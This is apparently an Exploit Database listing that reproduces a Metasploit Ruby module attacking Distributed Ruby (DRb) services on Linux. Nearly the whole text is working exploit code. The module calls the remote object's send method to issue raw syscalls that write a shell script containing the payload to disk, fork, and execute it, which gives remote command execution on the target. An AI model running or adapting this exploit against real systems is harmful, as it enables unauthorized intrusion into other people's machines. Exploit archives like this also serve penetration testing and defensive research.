Distributed Ruby – send syscall (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-03-23
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/17031/

• ##
  # This file is part of the Metasploit Framework and may be subject to 
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/projects/Framework/
  ##
  
  require 'msf/core'
  require 'drb/drb'
  class Metasploit3 < Msf::Exploit::Remote
  
  	def initialize(info = {})
  		super(update_info(info,	
  			'Name' => 'Distributed Ruby send syscall vulnerability.',
  			'Description'=> %q{ This module exploits remote syscalls in DRuby
  			},
  			'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '',
  			'References' =>
  				[
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=> 
  						{
  							'PayloadType' => 'cmd',
  						},
  					'Space' => 32768,
  				},
  			'Platform' => 'linux',
  			'Arch' => ARCH_ALL,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DefaultTarget' => 0))
  
  			
  			register_options(
  				[
  					OptString.new('URI', [true, "The druby URI of the target host ", ""]),
  				], self.class)
  	end
  
  	def exploit
  		serveruri = datastore['URI'] 
  		DRb.start_service	
  		p = DRbObject.new_with_uri(serveruri)
  		class << p
  			undef :send
  		end
  		filename = "." + Rex::Text.rand_text_alphanumeric(16)
  		# syscall open
  		i =p.send(:syscall,8,filename,0700)
  		#syscall write
  		p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
  		#syscall close
  		p.send(:syscall,6,i)
  		#syscall fork
  		p.send(:syscall,2)
  		#syscall execve
  		p.send(:syscall,11,filename,0,0)
  	
  		handler(nil)
  	end
  end